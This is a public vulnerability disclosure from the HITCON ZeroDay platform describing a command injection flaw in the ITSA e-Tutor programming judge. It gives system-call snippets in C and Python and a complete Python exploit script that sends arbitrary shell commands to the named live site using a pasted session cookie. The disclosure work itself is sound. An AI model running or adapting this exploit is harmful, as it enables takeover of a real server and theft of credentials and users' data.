Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00102
- Vendor: 教育部資通訊軟體創新人才推升計畫
- Title: 教育部-ITSA程式自學平臺 站點存在 Command injection
- Introduction: 站點存在 Command injection
處理狀態
目前狀態
公開
Last Update : 2023/05/06
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2023/03/06 02:53:24 : 新提交 (由 BTtea 更新此狀態)
- 2023/03/06 02:55:58 : 新提交 (由 BTtea 更新此狀態)
- 2023/03/06 15:04:25 : 新提交 (由 BTtea 更新此狀態)
- 2023/03/08 10:51:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/03/09 18:08:07 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/03/09 18:08:07 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/03/09 18:08:07 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/03/23 15:04:13 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/03/23 18:41:10 : 未修補完成 (由 BTtea 更新此狀態)
- 2023/05/06 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00102
- 通報者:blacktea_player (BTtea)
- 風險:嚴重
- 類型:指令注入攻擊 (Command Injection)
參考資料
攻擊者可經由該漏洞執行任意系統指令,取得系統權限,同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
https://cwe.mitre.org/data/definitions/77.html
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
https://cwe.mitre.org/data/definitions/77.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://e-tutor.itsa.org.tw/e-Tutor/mod/programming/new_submit2.php
敘述
大意:由於此系統並未在沙箱中執行,網站解題程式碼允許引用系統shell函數,則可造成遠端命令執行,因此可以看到資料庫帳密及他人解題資訊甚至控制整個伺服器,建議可以寫放在沙箱中執行
https://e-tutor.itsa.org.tw/e-Tutor/mod/programming/new_submit2.php
首先註冊後登入網站,然後來到任意一個解題題目是會回顯錯誤訊息的(初心是為了讓解題者debug),並成為該題的成員
接著可選擇任意一個語言來對該站點服務下命令,如下範例
C/C++
#include <stdlib.h>
int main(void){
system("id;pwd;uname -a");
return 0;
}
python3
__import__('os').system('id;pwd;uname -a')
運行結果
造成影響有,可以查看他人做題的程式碼(影響公平性),甚至也可利用 shell 直接檢視後端網頁技術,資料庫帳密等等...
可使用下方 PoC 來驗證 (需事先將 cookie 貼入與下載所需要的 python 模組)
pwn.py
# pip install bs4
# pip install requests
from requests import post
from requests import get
from bs4 import BeautifulSoup
from sys import argv
from time import sleep
# 把你的cookie貼上來就可以RCE了
YourCookie = 'MoodleSession=這裡要放; MoodleSessionTest=這裡也要;'
# 我所選擇的題目
SubmitURL = 'https://e-tutor.itsa.org.tw/e-Tutor/mod/programming/new_submit2.php?a=10651'
AnswerURL = 'https://e-tutor.itsa.org.tw/e-Tutor/mod/programming/result.php?a=10651'
if len(argv) > 1:
command = ""
for i in argv[1]:
command += i+'$()'
command = f'__import__("os").system("{command[0:-3]}")'
else:
print('./exploit.py "id"')
exit()
files = {
'a': (None, '10651'),
'code': (None, command),
'menu_language': (None, '204'),
'language': (None, '2022'),
'MAX_FILE_SIZE': (None, '65536'),
'action': (None, '提交')
}
headers = {
'Cookie': YourCookie,
'Host': 'e-tutor.itsa.org.tw',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
}
# post command
response = post(SubmitURL, headers=headers, files=files)
print('[+] waiting command execute...')
sleep(5)
# get result web
response = get(AnswerURL, headers=headers)
# get command url
ExecuteAnswerURL = BeautifulSoup(response.text, features="html.parser").find_all("a", title="彈出式視窗")[-1].get("href")
response = get(ExecuteAnswerURL, headers=headers)
# command answer
print('##############################')
CommandAnswer = BeautifulSoup(response.text, features="html.parser")
print(CommandAnswer if CommandAnswer else '[-] no output...')
print('##############################')
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。